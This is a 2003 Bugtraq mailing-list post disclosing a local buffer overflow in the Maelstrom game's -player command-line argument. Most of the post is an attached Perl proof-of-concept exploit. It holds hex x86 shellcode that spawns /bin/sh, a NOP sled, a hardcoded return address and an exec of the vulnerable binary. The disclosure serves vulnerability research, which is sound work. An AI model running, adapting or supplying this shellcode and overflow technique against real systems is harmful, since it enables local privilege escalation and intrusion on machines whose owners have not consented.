[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    Maelstrom Local Buffer Overflow Exploit
From:       "akcess ." <akcss () linuxmail ! org>
Date:       2003-05-20 15:15:43
[Download RAW message or body]

Local exploit for /usr/bin/Maelstrom due to insufficient bounds checking of the -player cmd line arg.

See attached proof-of-concept exploit.


-akcess
-- 
______________________________________________
http://www.linuxmail.org/
Now with e-mail forwarding for only US$5.95/yr

Powered by Outblaze

["maelx.pl" (application/octet-stream)]

#!/usr/bin/perl -w
#
# /usr/bin/Maelstrom -player Local Buffer Overflow Exploit by akcess
#
# This code exploits the -player overflow which i discovered after
# reading the initial advisory detailing  the -server  overflow by
# Luca Ercoli
#
# [ akcess@linuxmail.org ] - *21/05/03*


$sc = "\x90"x1500; # write stdout "akcess wuz here..."; execve /bin/sh; exit;
$sc .= "\x31\xc0\x31\xdb\x31\xd2\x53\x68\x2e\x2e\x20\x0a\x68\x65\x72\x65";
$sc .= "\x2e\x68\x75\x7a\x20\x68\x68\x73\x73\x20\x77\x68\x61\x6b\x63\x65";
$sc .= "\x89\xe1\xb2\x18\xb0\x04\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68";
$sc .= "\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24";
$sc .= "\xb0\x0b\xcd\x80";

$ENV{'SC'} = $sc;

$offset = "0";
$ret = 0xbffff9ee;


for ($i = 0; $i < (8177 - 4); $i++) {
    $buf .= "\x90";
}


$buf .= pack('l', ($ret + $offset));

print("Using return address: 0x", sprintf('%lx',($ret + $offset)),"\n");
exec("/usr/bin/Maelstrom -player 1\@'$buf'");

[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic